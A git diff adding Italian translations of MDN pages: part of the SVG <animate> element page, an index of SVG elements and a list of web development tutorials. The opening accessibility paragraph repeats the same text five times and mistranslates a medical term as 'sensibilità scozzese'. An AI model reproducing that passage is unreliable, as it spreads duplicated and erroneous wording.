+<p><span style="">L'animazione lampeggiante e lampeggiante può essere problematica per le persone con problemi cognitivi come il disturbo da deficit di attenzione e iperattività (ADHD). Inoltre, alcuni tipi di movimento possono essere un fattore scatenante per i disordini vestibolari, l'epilessia e l'emicrania e la sensibilità scozzese. Prendi in considerazione la possibilità di fornire un meccanismo per mettere in pausa o disattivare l'animazione e utilizzare la Query media di movimento ridotto per creare un'esperienza gratuita per gli utenti che hanno espresso la preferenza per nessuna esperienza animata.</span> <span style="">L'animazione lampeggiante e lampeggiante può essere problematica per le persone con problemi cognitivi come il disturbo da deficit di attenzione e iperattività (ADHD). Inoltre, alcuni tipi di movimento possono essere un fattore scatenante per i disordini vestibolari, l'epilessia e l'emicrania e la sensibilità scozzese. Prendi in considerazione la possibilità di fornire un meccanismo per mettere in pausa o disattivare l'animazione e utilizzare la Query media di movimento ridotto per creare un'esperienza gratuita per gli utenti che hanno espresso la preferenza per nessuna esperienza animata.</span> <span style="">L'animazione lampeggiante e lampeggiante può essere problematica per le persone con problemi cognitivi come il disturbo da deficit di attenzione e iperattività (ADHD). Inoltre, alcuni tipi di movimento possono essere un fattore scatenante per i disordini vestibolari, l'epilessia e l'emicrania e la sensibilità scozzese. Prendi in considerazione la possibilità di fornire un meccanismo per mettere in pausa o disattivare l'animazione e utilizzare la Query media di movimento ridotto per creare un'esperienza gratuita per gli utenti che hanno espresso la preferenza per nessuna esperienza animata.</span> <span style="">L'animazione lampeggiante e lampeggiante può essere problematica per le persone con problemi cognitivi come il disturbo da deficit di attenzione e iperattività (ADHD). Inoltre, alcuni tipi di movimento possono essere un fattore scatenante per i disordini vestibolari, l'epilessia e l'emicrania e la sensibilità scozzese. Prendi in considerazione la possibilità di fornire un meccanismo per mettere in pausa o disattivare l'animazione e utilizzare la Query media di movimento ridotto per creare un'esperienza gratuita per gli utenti che hanno espresso la preferenza per nessuna esperienza animata.</span> <span style="">L'animazione lampeggiante e lampeggiante può essere problematica per le persone con problemi cognitivi come il disturbo da deficit di attenzione e iperattività (ADHD). Inoltre, alcuni tipi di movimento possono essere un fattore scatenante per i disordini vestibolari, l'epilessia e l'emicrania e la sensibilità scozzese. Prendi in considerazione la possibilità di fornire un meccanismo per mettere in pausa o disattivare l'animazione e utilizzare la Query media di movimento ridotto per creare un'esperienza gratuita per gli utenti che hanno espresso la preferenza per nessuna esperienza animata.</span> L'animazione lampeggiante può essere problematica per le persone con problemi cognitivi come il disturbo da deficit di attenzione e iperattività (ADHD). Inoltre, alcuni tipi di movimento possono essere un fattore scatenante per i disordini vestibolari, l'epilessia e l'emicrania e la sensibilità scozzese.<br>
+ <br>
+ Prendi in considerazione la possibilità di fornire un meccanismo per mettere in pausa o disattivare l'animazione e utilizzare la <a href="/en-US/docs/Web/CSS/@media/prefers-reduced-motion">Query multimediale a movimento ridotto</a> per creare un'esperienza gratuita per gli utenti che hanno espresso la preferenza per nessuna esperienza animata.</p>
+
+<p>Articoli in inglese sull'argomento:</p>
+
+<ul>
+ <li><a href="https://alistapart.com/article/designing-safer-web-animation-for-motion-sensitivity">Designing Safer Web Animation For Motion Sensitivity · An A List Apart Article </a></li>
+ <li><a href="https://css-tricks.com/introduction-reduced-motion-media-query/">An Introduction to the Reduced Motion Media Query | CSS-Tricks</a></li>
+ <li><a href="https://webkit.org/blog/7551/responsive-design-for-motion/">Responsive Design for Motion | WebKit</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.2_%E2%80%94_Enough_Time_Provide_users_enough_time_to_read_and_use_content">MDN Understanding WCAG, Guideline 2.2 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-pause.html">Understanding Success Criterion 2.2.2  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Animazioni SVG 2", "#AnimateElement", "&lt;animate&gt;")}}</td>
+   <td>{{Spec2("SVG Animations 2")}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "animate.html#AnimateElement", "&lt;animate&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+<div class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se desideri contribuire ai dati, fai riferimento a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una PR.</div>
+
+<p>{{Compat("svg.elements.animate")}}</p>
+</div>
diff --git a/files/it/web/svg/element/index.html b/files/it/web/svg/element/index.html
new file mode 100644
index 0000000000..acb46ccdbe
--- /dev/null
+++ b/files/it/web/svg/element/index.html
@@ -0,0 +1,297 @@
+---
+title: SVG element reference
+slug: Web/SVG/Element
+tags:
+  - Drawing
+  - Elements
+  - NeedsTranslation
+  - Responsive Design
+  - SVG
+  - SVG Reference
+  - TopicStub
+  - Vector Graphics
+  - 'l10n:priority'
+translation_of: Web/SVG/Element
+---
+<p>« <a href="/en-US/docs/SVG">SVG</a> / <a href="/en-US/docs/SVG/Attribute">SVG Attribute reference</a> »</p>
+
+<p><span class="seoSummary">I disegni e le immagini SVG sono create usando un grande array di elementi i quali sono dedicati alla costruzione di disegni, layout di immagini vettoriali e diagrammi. Quì puoi trovare la documentazione di riferimento per ogni elemento SVG.</span></p>
+
+<h2 id="Elementi_SVG_dalla_A_alla_Z">Elementi SVG dalla A alla Z</h2>
+
+<div class="index">
+<h3 id="A">A</h3>
+
+<ul>
+ <li>{{SVGElement("a")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("animateMotion")}}</li>
+ <li>{{SVGElement("animateTransform")}}</li>
+</ul>
+
+<h3 id="C">C</h3>
+
+<ul>
+ <li>{{SVGElement("circle")}}</li>
+ <li>{{SVGElement("clipPath")}}</li>
+ <li>{{SVGElement("color-profile")}}</li>
+</ul>
+
+<h3 id="D">D</h3>
+
+<ul>
+ <li>{{SVGElement("defs")}}</li>
+ <li>{{SVGElement("desc")}}</li>
+ <li>{{SVGElement("discard")}}</li>
+</ul>
+
+<h3 id="E">E</h3>
+
+<ul>
+ <li>{{SVGElement("ellipse")}}</li>
+</ul>
+
+<h3 id="F">F</h3>
+
+<ul>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feDistantLight")}}</li>
+ <li>{{SVGElement("feDropShadow")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feFuncA")}}</li>
+ <li>{{SVGElement("feFuncB")}}</li>
+ <li>{{SVGElement("feFuncG")}}</li>
+ <li>{{SVGElement("feFuncR")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMergeNode")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("fePointLight")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feSpotLight")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("foreignObject")}}</li>
+</ul>
+
+<h3 id="G">G</h3>
+
+<ul>
+ <li>{{SVGElement("g")}}</li>
+</ul>
+
+<h3 id="H">H</h3>
+
+<ul>
+ <li>{{SVGElement("hatch")}}</li>
+ <li>{{SVGElement("hatchpath")}}</li>
+</ul>
+
+<h3 id="I">I</h3>
+
+<ul>
+ <li>{{SVGElement("image")}}</li>
+</ul>
+
+<h3 id="L">L</h3>
+
+<ul>
+ <li>{{SVGElement("line")}}</li>
+ <li>{{SVGElement("linearGradient")}}</li>
+</ul>
+
+<h3 id="M">M</h3>
+
+<ul>
+ <li>{{SVGElement("marker")}}</li>
+ <li>{{SVGElement("mask")}}</li>
+ <li>{{SVGElement("mesh")}}</li>
+ <li>{{SVGElement("meshgradient")}}</li>
+ <li>{{SVGElement("meshpatch")}}</li>
+ <li>{{SVGElement("meshrow")}}</li>
+ <li>{{SVGElement("metadata")}}</li>
+ <li>{{SVGElement("mpath")}}</li>
+</ul>
+
+<h3 id="P">P</h3>
+
+<ul>
+ <li>{{SVGElement("path")}}</li>
+ <li>{{SVGElement("pattern")}}</li>
+ <li>{{SVGElement("polygon")}}</li>
+ <li>{{SVGElement("polyline")}}</li>
+</ul>
+
+<h3 id="R">R</h3>
+
+<ul>
+ <li>{{SVGElement("radialGradient")}}</li>
+ <li>{{SVGElement("rect")}}</li>
+</ul>
+
+<h3 id="S">S</h3>
+
+<ul>
+ <li>{{SVGElement("script")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("solidcolor")}}</li>
+ <li>{{SVGElement("stop")}}</li>
+ <li>{{SVGElement("style")}}</li>
+ <li>{{SVGElement("svg")}}</li>
+ <li>{{SVGElement("switch")}}</li>
+ <li>{{SVGElement("symbol")}}</li>
+</ul>
+
+<h3 id="T">T</h3>
+
+<ul>
+ <li>{{SVGElement("text")}}</li>
+ <li>{{SVGElement("textPath")}}</li>
+ <li>{{SVGElement("title")}}</li>
+ <li>{{SVGElement("tspan")}}</li>
+</ul>
+
+<h3 id="U">U</h3>
+
+<ul>
+ <li>{{SVGElement("unknown")}}</li>
+ <li>{{SVGElement("use")}}</li>
+</ul>
+
+<h3 id="V">V</h3>
+
+<ul>
+ <li>{{SVGElement("view")}}</li>
+</ul>
+</div>
+
+<h2 id="Elementi_SVG_per_categoria">Elementi SVG per categoria</h2>
+
+<h3 id="Elementi_danimazione">Elementi d'animazione</h3>
+
+<p>{{SVGElement("animate")}}, {{SVGElement("animateColor")}}, {{SVGElement("animateMotion")}}, {{SVGElement("animateTransform")}}, {{SVGElement("discard")}}, {{SVGElement("mpath")}}, {{SVGElement("set")}}</p>
+
+<h3 id="Forme_grafiche_di_base">Forme grafiche di base</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
+
+<h3 id="Elementi_contenitori">Elementi contenitori</h3>
+
+<p>{{SVGElement("a")}}, {{SVGElement("defs")}}, {{SVGElement("g")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("missing-glyph")}}, {{SVGElement("pattern")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}, {{SVGElement("unknown")}}</p>
+
+<h3 id="Elementi_descrittivi">Elementi descrittivi</h3>
+
+<p>{{SVGElement("desc")}}, {{SVGElement("metadata")}}, {{SVGElement("title")}}</p>
+
+<h3 id="Filtri_grafici">Filtri grafici</h3>
+
+<p>{{SVGElement("feBlend")}}, {{SVGElement("feColorMatrix")}}, {{SVGElement("feComponentTransfer")}}, {{SVGElement("feComposite")}}, {{SVGElement("feConvolveMatrix")}}, {{SVGElement("feDiffuseLighting")}}, {{SVGElement("feDisplacementMap")}}, {{SVGElement("feDropShadow")}}, {{SVGElement("feFlood")}},{{SVGElement("feFuncA")}}, {{SVGElement("feFuncB")}}, {{SVGElement("feFuncG")}}, {{SVGElement("feFuncR")}},{{SVGElement("feGaussianBlur")}}, {{SVGElement("feImage")}}, {{SVGElement("feMerge")}}, {{SVGElement("feMergeNode")}}, {{SVGElement("feMorphology")}}, {{SVGElement("feOffset")}}, {{SVGElement("feSpecularLighting")}}, {{SVGElement("feTile")}}, {{SVGElement("feTurbulence")}}</p>
+
+<h3 id="Caratteri">Caratteri</h3>
+
+<p>{{SVGElement("font")}}, {{SVGElement("font-face")}}, {{SVGElement("font-face-format")}}, {{SVGElement("font-face-name")}}, {{SVGElement("font-face-src")}}, {{SVGElement("font-face-uri")}}, {{SVGElement("hkern")}}, {{SVGElement("vkern")}}</p>
+
+<h3 id="Elementi_Gradiente">Elementi Gradiente</h3>
+
+<p>{{SVGElement("linearGradient")}}, {{SVGElement("meshgradient")}}, {{SVGElement("radialGradient")}}, {{SVGElement("stop")}}</p>
+
+<h3 id="Elementi_Grafici">Elementi Grafici</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("text")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Riferimento_a_elementi_grafici">Riferimento a elementi grafici</h3>
+
+<p>{{SVGElement("mesh")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Sorgenti_luminose">Sorgenti luminose</h3>
+
+<p>{{SVGElement("feDistantLight")}}, {{SVGElement("fePointLight")}}, {{SVGElement("feSpotLight")}}</p>
+
+<h3 id="Elementi_non_visibili">Elementi non visibili</h3>
+
+<p>{{SVGElement("clipPath")}}, {{SVGElement("defs")}}, {{SVGElement("hatch")}}, {{SVGElement("linearGradient")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("meshgradient")}}, {{SVGElement("metadata")}}, {{SVGElement("pattern")}}, {{SVGElement("radialGradient")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("symbol")}}, {{SVGElement("title")}}</p>
+
+<h3 id="Elementi_server_per_dipingere">Elementi server per dipingere</h3>
+
+<p>{{SVGElement("hatch")}}, {{SVGElement("linearGradient")}}, {{SVGElement("meshgradient")}}, {{SVGElement("pattern")}}, {{SVGElement("radialGradient")}}, {{SVGElement("solidcolor")}}</p>
+
+<h3 id="Elementi_esponibili">Elementi esponibili</h3>
+
+<p>{{SVGElement("a")}}, {{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("foreignObject")}}, {{SVGElement("g")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}, {{SVGElement("text")}}, {{SVGElement("textPath")}}, {{SVGElement("tspan")}}, {{SVGElement("unknown")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Forme">Forme</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
+
+<h3 id="Elementi_strutturali">Elementi strutturali</h3>
+
+<p>{{SVGElement("defs")}}, {{SVGElement("g")}}, {{SVGElement("svg")}}, {{SVGElement("symbol")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Elementi_testuali">Elementi testuali</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("altGlyphDef")}}, {{SVGElement("altGlyphItem")}}, {{SVGElement("glyph")}}, {{SVGElement("glyphRef")}}, {{SVGElement("textPath")}}, {{SVGElement("text")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
+
+<h3 id="Elementi_testuali_figlio">Elementi testuali figlio</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("textPath")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
+
+<h3 id="Elementi_non_categorizzati">Elementi non categorizzati</h3>
+
+<p>{{SVGElement("clipPath")}}, {{SVGElement("color-profile")}}, {{SVGElement("cursor")}}, {{SVGElement("filter")}}, {{SVGElement("foreignObject")}}, {{SVGElement("hatchpath")}}, {{SVGElement("meshpatch")}}, {{SVGElement("meshrow")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("view")}}</p>
+
+<h2 id="Obsolete_and_deprecated_elements">Obsolete and deprecated elements</h2>
+
+<div class="blockIndicator warning">
+<p><strong>Warning:</strong> These are old SVG elements which are deprecated and should not be used. <strong>You should never use them in new projects, and should replace them in old projects as soon as you can.</strong> They are listed here for informational purposes only.</p>
+</div>
+
+<h3 id="A_2">A</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("altGlyphDef")}}, {{SVGElement("altGlyphItem")}}, {{SVGElement("animateColor")}}</p>
+
+<h3 id="C_2">C</h3>
+
+<p>{{SVGElement("cursor")}}</p>
+
+<h3 id="F_2">F</h3>
+
+<p>{{SVGElement("font")}}, {{SVGElement("font-face")}}, {{SVGElement("font-face-format")}}, {{SVGElement("font-face-name")}}, {{SVGElement("font-face-src")}}, {{SVGElement("font-face-uri")}}</p>
+
+<h3 id="G_2">G</h3>
+
+<p>{{SVGElement("glyph")}}, {{SVGElement("glyphRef")}}</p>
+
+<h3 id="H_2">H</h3>
+
+<p>{{SVGElement("hkern")}}</p>
+
+<h3 id="M_2">M</h3>
+
+<p>{{SVGElement("missing-glyph")}}</p>
+
+<h3 id="T_2">T</h3>
+
+<p>{{SVGElement("tref")}}</p>
+
+<h3 id="V_2">V</h3>
+
+<p>{{SVGElement("vkern")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute">SVG attribute reference</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Tutorial">SVG Tutorial</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model#SVG_interfaces">SVG interface reference</a></li>
+</ul>
+
+<p>{{SVGRef}}</p>
diff --git a/files/it/web/tutorials/index.html b/files/it/web/tutorials/index.html
new file mode 100644
index 0000000000..928bf0a082
--- /dev/null
+++ b/files/it/web/tutorials/index.html
@@ -0,0 +1,152 @@
+---
+title: Tutorial
+slug: Web/Tutorials
+tags:
+  - CSS
+  - Codice
+  - Design_Web
+  - HTML
+  - JavaScript
+  - MDN
+  - Tutorial
+translation_of: Web/Tutorials
+---
+<p>I collegamenti presenti su questa pagina portano ad una grande varietà di tutorial e di materiali di formazione. <strong>Che voi siate principianti o utenti più esperti, qui potrete trovare risorse utili riguardo alle migliori pratiche dello sviluppo del Web.</strong> Queste risorse sono create da compagnie lungimiranti ed impresari che hanno adottato standard aperti e pratiche affinate allo sviluppo del Web, e che forniscono o consentono traduzioni tramite opere a contenuto aperto come Creative Commons.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Tutorial di HTML</h2>
+
+<h3 id="Livello_preliminare">Livello preliminare</h3>
+
+<dl>
+ <dt><a href="/it/docs/Web/Guide/HTML/Introduction">Introduzione a HTML</a></dt>
+ <dd>Cos'è HTML, cosa consente di fare, la sua storia in breve e come si presenta la struttura di un documento HTML. Gli articoli che seguono il presente prendono in esame ogni singola parte di HTML in maniera molto più approfondita.</dd>
+ <dt><a href="http://reference.sitepoint.com/html/page-structure" rel="external">Struttura base di una pagina Web</a> (SitePoint) - <em>EN</em></dt>
+ <dd>Impara come gli elementi di HTML si assemblano in un quadro più ampio.</dd>
+ <dt><a href="/it/docs/HTML/Element">MDN HTML Element Reference</a></dt>
+ <dd>Una fonte esauriente di elementi di HTML, e come essi sono supportati dai differenti browser.</dd>
+ <dt><a href="http://wikiversity.org/wiki/Web_Design/HTML_Challenges" rel="external">Sfide di HTML </a>(Wikiversity) - <em>EN</em></dt>
+ <dd>Serviti di queste prove per affinare le tue abilità circa HTML(per esempio, "Devo usare un elemento &lt;h2&gt; o un elemento &lt;strong&gt; "), focalizzandoti su significativi mark-up.</dd>
+</dl>
+
+<h3 id="Livello_avanzato">Livello avanzato</h3>
+
+<dl>
+ <dt><a href="/it/docs/Tips_for_Authoring_Fast-loading_HTML_Pages">Suggerimenti per creare pagine Web che carichino velocemente</a></dt>
+ <dd>Ottimizza le pagine Web per fornire ai visitatori un sito sempre più esaustivo e ridurre il carico sul tuo server web e sulla connessione Internet.</dd>
+ <dt><a href="http://www.html5rocks.com/tutorials/" rel="external">Tutorial di HTML5 </a>(HTML5 Rocks) - <em>EN</em></dt>
+ <dd>Inizia una visita guidata attraverso il codice che fa uso delle caratteristiche di HTML5.</dd>
+ <dt><a href="http://www.alistapart.com/articles/semanticsinhtml5/" rel="external">La semantica di HTML5</a> (A List Apart) -  <em>EN</em></dt>
+ <dd>Impara significativi markup, estensibili e compatibili tanto con versioni precedenti quanto con quelle successive.</dd>
+ <dt><a href="/it/docs/Canvas_tutorial">Tutorial di Canvas</a></dt>
+ <dd>Impara a disegnare grafici impiegando script che adoperano l'estensione canvas.</dd>
+ <dt><a href="http://html5doctor.com/" rel="external">HTML5 Doctor</a> - <em>EN</em></dt>
+ <dd>Articoli circa l'utilizzo di HTML5 proprio qui. Proprio ora.</dd>
+ <dt><a href="http://www.elated.com/articles/html5-audio/" rel="external">Un motivo di orgoglio: L' Audio di HTML5</a> (Elated) - <em>EN</em></dt>
+ <dd>Impara ad utilizzare l'attributo audio con lo scopo di includere facilmente i suoni nelle tue pagine Web. In questo tutorial sono inclusi diversi codici di esempio.</dd>
+</dl>
+
+<h2 class="Documentation" id="Documentation" name="Documentation">Tutorial di JavaScript</h2>
+
+<h3 id="Livello_preliminare_2">Livello preliminare</h3>
+
+<dl>
+ <dt><a href="http://www.codecademy.com/">Codecademy</a> (Codecademy) - <em>EN</em></dt>
+ <dd>Codecademy è un modo semplice per imparare a programmare JavaScript. Codecademy è interattivo, quindi puoi spenderci del tempo con i tuoi amici.</dd>
+ <dt><a href="/it/docs/JavaScript/Getting_Started">Per cominciare con JavaScript</a></dt>
+ <dd>Che cos'è JavaScript? Come può esserti utile?</dd>
+</dl>
+
+<h3 id="Livello_intermedio">Livello intermedio</h3>
+
+<dl>
+ <dt><a href="/it/docs/A_re-introduction_to_JavaScript">Una reintroduzine a JavaScript</a></dt>
+ <dd>Un riepilogo del linguaggio di programmazione di JavaScript destinato ai programmatori di livello intermedio.</dd>
+ <dt><a href="http://eloquentjavascript.net/contents.html" rel="external">Eloquent JavaScript</a> - <em>EN</em></dt>
+ <dd>Una guida esaustiva riguardo metodologie intermedie ed avanzate di JavaScript.</dd>
+ <dt><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external">Essenziali schemi progettuali di JavaScript</a> (Addy Osmani) - <em>EN</em></dt>
+ <dd>Un'introduzione agli essenziali schemi progettuali di JavaScript.</dd>
+ <dt><a href="http://www.yuiblog.com/blog/2007/01/24/video-crockford-tjpl/" rel="external">Il linguaggio di programmazione di JavaScript</a> (YUI Blog) - <em>EN</em></dt>
+ <dd>Douglas Crockford analizza l'attuale linguaggio di programmazione e quello dei giorni che verranno.</dd>
+ <dt><a href="/it/docs/Introduction_to_Object-Oriented_JavaScript">Introduzione al paradigma Object-Oriented JavaScript</a></dt>
+ <dd>Impara riguardo al modello a oggetti di JavaScript.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h3 id="Livello_avanzato_2">Livello avanzato</h3>
+
+<dl>
+ <dt><a href="/it/docs/JavaScript/Guide">Guida a JavaScript</a></dt>
+ <dd>Una guida a JavaScript, esaustiva e regolarmente aggiornata, per tutti i livelli di apprendimento, da principiante a esperto.</dd>
+ <dt><a href="http://ejohn.org/apps/learn/" rel="external">Apprendimento di Advanced JavaScript</a> (John Resig) - <em>EN</em></dt>
+ <dd>La guida di John Resig a un utilizzo avanzato di JavaScript.</dd>
+ <dt><a href="http://www.elated.com/articles/javascript-dom-intro/" rel="external">Introduzione a  JavaScript DOM</a> (Elated) - <em>EN</em></dt>
+ <dd>Che cos'è il modello a oggetti del documento? E perchè esso è utile? Questo articolo ti offre una delicata introduzione a questa efficace caratteristica di JavaScript.</dd>
+ <dt><a href="http://yuiblog.com/blog/2006/10/20/video-crockford-domtheory/" rel="external">Un API scomodo: La Teoria del DOM</a> (YUI Blog) - <em>EN</em></dt>
+ <dd>Douglas Crockford illustra il modello a oggetti del documento.</dd>
+ <dt><a href="http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/" rel="external">Advanced JavaScript</a> (YUI Blog) - <em>EN</em></dt>
+ <dd>Douglas Crockford osserva minuziosamente ai modelli del codice dai quali i programmatori di JavaScript possono attingere nella trascrizione delle loro applicazioni.</dd>
+ <dt><a href="http://bonsaiden.github.com/JavaScript-Garden/" rel="external">JavaScript Garden</a> - <em>EN</em></dt>
+ <dd>Una Documentazione delle parti più peculiari di JavaScript.</dd>
+ <dt><a href="http://yuiblog.com/blog/2008/07/22/non-blocking-scripts/" rel="external">Non-Blocking JavaScript Downloads</a> (YUI Blog) - <em>EN</em></dt>
+ <dd>Suggerimenti nel migliorare la prestazione di scaricamento di pagine contenenti JavaScript.</dd>
+ <dt><a href="http://shichuan.github.io/javascript-patterns" rel="external">Schemi di Javascipt</a> - <em>EN</em></dt>
+ <dd>Una collezione di pattern e antipattern di JavaScript che comprende function patterns, jQuery patterns, jQuery plugin patterns, design patterns, general patterns, literals and constructor patterns, object creation patterns, code reuse patterns, DOM.</dd>
+ <dt><a href="http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">Come funzionano i browser</a> - <em>EN</em> </dt>
+ <dd>Un articolo dettagliato nel quale sono descritti diversi browser recenti, i loro motori, il rendering della pagina etc.</dd>
+</dl>
+
+<h2 class="Documentation" id="Documentation" name="Documentation">Tutorial di CSS</h2>
+
+<h3 id="Livello_preliminare_3">Livello preliminare</h3>
+
+<dl>
+ <dt><a href="/it/docs/CSS/Getting_Started">Introduzione a CSS</a></dt>
+ <dd>Questo tutorial ti presenta Cascading Style Sheets (CSS). verrai guidato attraverso le caratteristiche di base di CSS tramite esempi pratici che potrai sperimentare sul tuo stesso computer.</dd>
+ <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_Classes" rel="external">Selezionatore di Classi di CSS</a> (Wikiversity) - <em>EN</em></dt>
+ <dd>Che cosa sono le classi di CSS?</dd>
+ <dt><a href="http://en.wikiversity.org/wiki/Web_Design/External_CSS" rel="external">CSS esterno</a> (Wikiversity) - <em>EN</em></dt>
+ <dd>Usare CSS esterno al codice HTML</dd>
+ <dt><a href="http://www.w3.org/MarkUp/Guide/Style" rel="external">Aggiungendo un tocco di stile</a> (W3C) - <em>EN</em></dt>
+ <dd>Una breve guida per principianti su come adornare pagine Web con CSS.</dd>
+ <dt><a href="/it/docs/Common_CSS_Questions">Domande frequenti su CSS</a></dt>
+ <dd>Domande frequenti e risposte per principianti..</dd>
+ <dt><a href="/it/docs/Web/Guide/CSS/Getting_started/Selectors" title="http://codeavengers.com/">Selezionatori di CSS</a></dt>
+ <dd>Un' introduzione ai selezionatori di CSS</dd>
+</dl>
+
+<h3 id="Livello_intermedio_2">Livello intermedio</h3>
+
+<dl>
+ <dt><a href="/it/docs/CSS/CSS_Reference">Fonte di CSS</a></dt>
+ <dd>Fonte esaustiva di CSS, con dettagli di compatibilità con Firefox ed altri browser.</dd>
+ <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_challenges" rel="external">Sfide di CSS </a>(Wikiversity) - <em>EN</em></dt>
+ <dd>Metti alla prova le tue abilità di CSS, e rileva dove hai bisogno di più esercizio.</dd>
+ <dt><a href="http://www.html.net/tutorials/css/" rel="external">Concetti intermedi CSS</a> (HTML.net) - <em>EN</em></dt>
+ <dd>Classificazioni, pseudo-classe, e altro.</dd>
+ <dt><a href="http://www.alistapart.com/articles/css-positioning-101/" rel="external">Posizionamento 101 CSS</a> (Una lista a parte) </dt>
+ <dd>Usa il posizionamento per standards-compliant, table-free layout.</dd>
+ <dt><a href="http://www.alistapart.com/articles/progressiveenhancementwithcss/" rel="external">Progressivo miglioramento con CSS</a> (Una lista a parte) - <em>EN</em></dt>
+ <dd>Migliora progressivamente la tua pagina web con CSS.</dd>
+ <dt><a href="http://www.alistapart.com/articles/fluidgrids/" rel="external">Griglie fluide</a> (Una lista a parte) - <em>EN</em></dt>
+ <dd>Disegna layout che ridimensionano fluidamente la finestra del browser, mentre è ancora in uso una griglia tipografica.</dd>
+</dl>
+
+<h3 id="Livello_avanzato_3">Livello avanzato</h3>
+
+<dl>
+ <dt><a href="/it/docs/CSS/Using_CSS_transforms">Usare le trasformazioni di CSS</a></dt>
+ <dd>Applica la rotazione, inclinando, mettendo in scala e traducendo con CSS.</dd>
+ <dt><a href="/it/docs/CSS/CSS_transitions">Transizioni di CSS</a></dt>
+ <dd>Transizioni di CSS, parte della bozza di specificazione di CSS3 , fornisce un modo per animare i cambi nelle proprietà di CSS, invece che i cambi abbiano effetto immediatamente.</dd>
+ <dt><a href="http://www.html5rocks.com/tutorials/webfonts/quick/" rel="external">Guida veloce per applicare caratteri Web con @font-face</a> (HTML5 Rocks) - <em>EN</em></dt>
+ <dd>La funzione @font-face di CSS3 ci consente di utilizzare caratteri familiari sul Web in modo accessibile, maneggiabile e modulare.</dd>
+ <dt><a href="http://davidwalsh.name/starting-css" rel="external">Iniziare a scrivere in CSS</a> (David Walsh) - <em>EN</em></dt>
+ <dd>Un' introduzione a strumenti e metodologie per scrivere con CSS in modo più succinto, modulare e sostenibile.</dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
